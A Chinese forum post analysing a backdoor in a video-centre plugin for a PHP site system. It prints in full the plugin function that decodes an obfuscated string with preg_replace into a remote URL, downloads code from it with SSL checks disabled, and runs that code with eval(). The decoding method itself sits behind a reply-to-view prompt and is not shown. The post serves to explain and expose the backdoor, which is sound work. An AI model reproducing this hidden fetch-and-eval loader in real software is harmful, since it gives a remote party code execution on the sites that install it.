使用php正则httpABc模糊调用远端链接的preg_replace转化解码方法

民审-M

我们以[西风]视频中心插件为例：
路径：\jameson_sp\function\function_jamesonsp.php
其中：

1. function z_jameson_sp() {
   
2.    $lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';
   
3.    $svip= preg_replace(array("/`.*?`/","/abc/i","/[A-Z_].*[A-Z_]/"),array(".","://","/"),$lover);
   
4.    if(function_exists('file_get_contents'))
   
5.            {
   
6.           $data = file_get_contents($svip);
   
7.            } elseif (function_exists('curl_init')) {
   
8.               $ch = curl_init();
   
9.              $timeout = 5;
   
10.               curl_setopt($ch, CURLOPT_URL,$svip);
    
11.               curl_setopt($ch, CURLOPT_HEADER,0);
    
12.               curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    
13.               curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    
14.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    
15.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    
16.               curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    
17.                  $data = curl_exec($ch);
    
18.                      curl_close($ch);
    
19.                }
    
20.                        return $data;
    
21.                }
    
22.        if(function_exists('curl_init')||function_exists('file_get_contents'))eval(z_jameson_sp());

复制代码

我们看到，

1. $lover = 'httpABczonekey`akndecryptud^gjchdh`winNULLB{NVJ:GJGbaiduseof`lpsck`xml';

复制代码

使用正在进行了调用远端链接进行了地址模糊处理，
我们可以使用以下方法解码出来：

游客，如果您要查看本帖隐藏内容请回复